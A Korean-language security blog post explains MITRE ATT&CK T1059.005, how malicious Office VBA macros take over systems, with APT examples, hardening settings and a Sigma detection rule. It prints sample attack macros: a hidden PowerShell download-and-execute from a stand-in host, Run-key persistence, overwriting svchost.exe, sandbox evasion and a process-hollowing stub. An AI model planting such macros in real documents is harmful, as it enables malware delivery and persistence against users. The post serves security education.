VBA 매크로 악성코드, 45개 APT 그룹이 선택한 이유 | T1059.005
T1059.005 Visual Basic 공격의 동작 원리를 완전 분석. VBA 매크로가 Office 문서를 통해 시스템을 장악하는 5단계 과정과 45개 APT 그룹의 실제 공격 사례, 그리고 효과적인 방어 전략까지 한 번에 정리했습니다.
T1059.005 Visual Basic 공격의 동작 원리를 완전 분석. VBA 매크로가 Office 문서를 통해 시스템을 장악하는 5단계 과정과 45개 APT 그룹의 실제 공격 사례, 그리고 효과적인 방어 전략까지 한 번에 정리했습니다.
MITRE ATT&CK 버전 7(2020)에서 T1059.005 Visual Basic이 독립 서브 기술로 분류되었다. 당시 이미 45개 APT 그룹이 이 기법을 사용하고 있었다. 그런데 왜 이렇게 많은 공격자들이 30년 된 Visual Basic을 선택하는 걸까?
이메일 첨부파일로 받은 Excel 문서를 열었는데 "매크로를 활성화하시겠는가?"라는 창이 뜨는 상황을 생각해보라. 사용자가 '활성화'를 클릭하는 순간, 문서 안에 숨겨진 VBA(Visual Basic for Applications) 코드가 실행되면서 악성코드가 시스템에 침투할 수 있다. 이것이 바로 T1059.005 Visual Basic 공격의 핵심이다.
Visual Basic은 Microsoft가 만든 프로그래밍 언어로, Windows 시스템과 깊은 상호운용성을 가지고 있어 공격자들에게 강력한 도구가 되었다. 이 글에서는 왜 Visual Basic이 사이버 공격의 주요 수단이 되었는지. 그리고 내부에서 어떻게 동작하는지 완전히 해부해본다.
T1059.005 Visual Basic 공격은 Microsoft Visual Basic 언어와 그 파생 기술(VBA, VBScript)을 악용하여 악성 코드를 실행하는 기법이다.
Adversaries may abuse Visual Basic (VB) for execution. VB is a programming language created by Microsoft with interoperability with many Windows technologies such as Component Object Model and the Windows API. — MITRE ATT&CK T1059.005
이 공식 정의에 따르면, 공격자들은 Visual Basic의 Windows 기술과의 상호운용성을 악용하여 실행 목적으로 사용한다는 것이다. 특히 Component Object Model(COM)과 Windows API 접근성이 핵심 요소이다.
T1059.005는 세 가지 주요 구성 요소로 나뉜다:
| 기술 | 설명 |
|---|---|
| VBA | 실행 환경: Office 응용프로그램 / 주요 용도: 문서 매크로, 자동화 / 공격 벡터: 악성 첨부파일, 매크로 활성화 |
| VBScript | 실행 환경: Windows Script Host / 주요 용도: 시스템 스크립팅 / 공격 벡터: .vbs 파일 실행, HTML 애플리케이션 |
| VB.NET | 실행 환경: .NET Framework / 주요 용도: 응용프로그램 개발 / 공격 벡터: 컴파일된 실행파일, 메모리 실행 |
| JavaScript | 실행 환경: 브라우저, Node.js / 주요 용도: 웹 스크립팅 / 공격 벡터: XSS, 악성 스크립트 |
| PowerShell | 실행 환경: Windows PowerShell / 주요 용도: 시스템 관리 / 공격 벡터: 필터리스 실행, 메모리 상주 |
Visual Basic 공격은 다음과 같은 단계로 진행된다:
공격자는 먼저 정상적인 Office 문서에 악성 VBA 코드를 삽입한다:
Private Sub Document_Open()
' 문서가 열릴 때 자동 실행
Call DownloadAndExecute
End Sub
Sub DownloadAndExecute()
' PowerShell을 통한 추가 페이로드 다운로드
Dim cmd As String
cmd = "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass " & _
"-Command ""IEX ((New-Object Net.WebClient).DownloadString('http://malicious.com/payload.ps1'))"""
' WScript.Shell을 통한 명령 실행
CreateObject("WScript.Shell").Run cmd, 0
End Sub
이 코드는 문서가 열릴 때(Document_Open 이벤트) 자동으로 실행되어 외부 서버에서 PowerShell 스크립트를 다운로드하고 실행한다.
Office 응용프로그램은 보안상 매크로를 기본적으로 비활성화한다. 공격자는 사용자가 매크로를 활성화하도록 유도하기 위해 다음과 같은 기법을 사용한다:
사용자가 매크로를 활성화하면 Office의 VBA 엔진이 동작한다:
VBA 코드는 실행되기 전에 P-Code(pseudo-code)로 컴파일되며, 이후 VBA 가상 머신에 의해 해석된다. 이 과정에서 공개된 구조 정보가 없어 리버스 엔지니어링이 어렵다는 특징이 있다.
VBA의 가장 강력한 기능은 COM(Component Object Model)을 통한 시스템 접근이다:
Sub AccessSystemResources()
' WMI를 통한 시스템 정보 수집
Set objWMI = GetObject("winmgmts:")
Set colProcesses = objWMI.ExecQuery("SELECT * FROM Win32_Process")
' 레지스트리 접근
Set objShell = CreateObject("WScript.Shell")
objShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Malware", _
"C:\temp\malware.exe"
' 파일 시스템 조작
Set objFSO = CreateObject("Scripting.FileSystemObject")
objFSO.CopyFile "malware.exe", "C:\Windows\System32\svchost.exe"
End Sub
이 코드는 COM 인터페이스를 통해 WMI(Windows Management Instrumentation), 레지스트리, 파일 시스템에 직접 접근한다.
VBA는 종종 VBScript와 연계하여 더 복잡한 공격을 수행한다:
Sub LaunchVBScript()
' 임시 VBScript 파일 생성
Dim scriptPath As String
scriptPath = Environ("TEMP") & "\temp.vbs"
' VBScript 코드 작성
Open scriptPath For Output As #1
Print #1, "Set objShell = CreateObject(""WScript.Shell"")"
Print #1, "objShell.Run ""cmd.exe /c whoami > c:\temp\info.txt"", 0"
Close #1
' VBScript 실행
CreateObject("WScript.Shell").Run "wscript.exe " & scriptPath, 0
End Sub
VBScript는 Windows Script Host를 통해 실행되며, HTML Application(HTA) 형태로도 배포될 수 있다.
공격자가 은행을 사칭한 피싱 이메일을 보내는 시나리오를 생각해보라. 마치 은행에서 보낸 계좌 명세서처럼 보이는 Excel 파일이지만, 실제로는 사용자의 인증 정보를 탈취하는 악성코드가 숨어있는 것이다.
Office for macOS: macOS용 Office에서도 VBA가 지원되므로 Windows와 동일한 공격이 가능한다.
Protected View 우회: Office의 Protected View 기능을 우회하기 위해 공격자는 다음과 같은 방법을 사용한다:
Sandboxing 회피: 샌드박스 환경을 탐지하고 실행을 중단하는 코드:
Sub CheckSandbox()
' 가상 머신 탐지
If InStr(Environ("COMPUTERNAME"), "SANDBOX") > 0 Then
Exit Sub
End If
' 실행 환경 확인 후 페이로드 실행
Call ExecutePayload
End Sub
공격자들이 Visual Basic을 선택하는 이유는 단순한다. 기본 설치되어 있고, 강력하며, 탐지가 어렵기 때문이다.
1. 광범위한 설치 기반
2. 강력한 시스템 접근 권한
3. 사회공학적 우위
단계별 공격 기법:
취약점 1: 매크로 자동 실행
공격자는 사용자 개입 없이 매크로를 실행하기 위해 다양한 이벤트를 활용한다:
' 문서 열기 시 자동 실행
Private Sub Document_Open()
Call MaliciousCode
End Sub
' 워크시트 활성화 시 실행
Private Sub Worksheet_Activate()
Call MaliciousCode
End Sub
' 셀 값 변경 시 실행
Private Sub Worksheet_Change(ByVal Target As Range)
Call MaliciousCode
End Sub
취약점 2: COM 인터페이스 악용
COM을 통해 시스템의 거의 모든 기능에 접근할 수 있다:
' 브라우저 제어
Set ie = CreateObject("InternetExplorer.Application")
ie.Navigate "http://malicious.com/steal-cookies"
' 이메일 클라이언트 접근
Set outlook = CreateObject("Outlook.Application")
' 주소록 탈취, 악성 이메일 전송
' 시스템 서비스 조작
Set services = GetObject("winmgmts:").ExecQuery("SELECT * FROM Win32_Service")
취약점 3: 메모리 내 실행
VBA는 디스크에 파일을 생성하지 않고 메모리에서 직접 실행할 수 있어 탐지를 회피한다:
Sub InMemoryExecution()
' Base64로 인코딩된 실행파일
Dim encodedPayload As String
encodedPayload = "TVqQAAMAAAAEAAAA..." ' 실제 악성코드
' 메모리에 디코딩 후 실행
Dim decodedBytes() As Byte
decodedBytes = DecodeBase64(encodedPayload)
' Process Hollowing 기법으로 정상 프로세스에 주입
Call InjectIntoProcess("notepad.exe", decodedBytes)
End Sub
APT28 (Fancy Bear) - 2016년 미국 대선 개입
Lazarus Group - 2018년 금융기관 공격
APT29 (Cozy Bear) - COVID-19 관련 공격
1. 매크로 정책 강화
# 그룹 정책으로 매크로 완전 차단
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security" -Name "VBAWarnings" -Value 4
# 신뢰할 수 있는 게시자만 허용
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security" -Name "RequireAddinSig" -Value 1
2. Application Control 구현
3. 네트워크 모니터링
4. 엔드포인트 탐지
# Sigma 룰 예시 - VBA 매크로 실행 탐지
title: Suspicious VBA Macro Execution
detection:
selection:
EventID: 4688
NewProcessName|contains:
- 'WINWORD.EXE'
- 'EXCEL.EXE'
CommandLine|contains:
- 'WScript.Shell'
- 'PowerShell'
condition: selection
T1059.005 Visual Basic 공격은 30년 된 기술이지만 여전히 45개 APT 그룹이 선택하는 강력한 공격 벡터이다. Windows 시스템과의 깊은 통합, 광범위한 설치 기반. 그리고 사용자 친화적인 문서 형태라는 특징이 공격자들에게 지속적으로 매력적인 선택지가 되고 있다.
Visual Basic 공격을 완전히 이해하려면 관련된 다른 실행 기법들도 함께 살펴보는 것이 도움된다. T1059.001 PowerShell 악성코드는 VBA 매크로와 함께 사용되는 경우가 많으며, T1059.007 JavaScript 악성코드는 HTA 형태로 VBScript와 결합되어 사용된다.
앞으로 알아볼 주제로는 VBA 매크로 난독화 기법, Office 365의 새로운 보안 기능, 그리고 매크로리스 공격으로의 진화 과정이 있다.
AI 활용 안내 이 글은 AI(Claude)의 도움을 받아 작성되었습니다. 인용된 통계와 사례는 참고 자료에 명시된 출처에 근거하며, 설명을 위한 일부 표현은 각색되었습니다.
면책 조항 본 글은 보안 인식 제고를 위한 교육 목적으로 작성되었습니다. 언급된 공격 기법을 실제로 시도하는 행위는 「정보통신망법」, 「형법」 등에 따라 처벌받을 수 있으며, 본 블로그는 이에 대한 법적 책임을 지지 않습니다.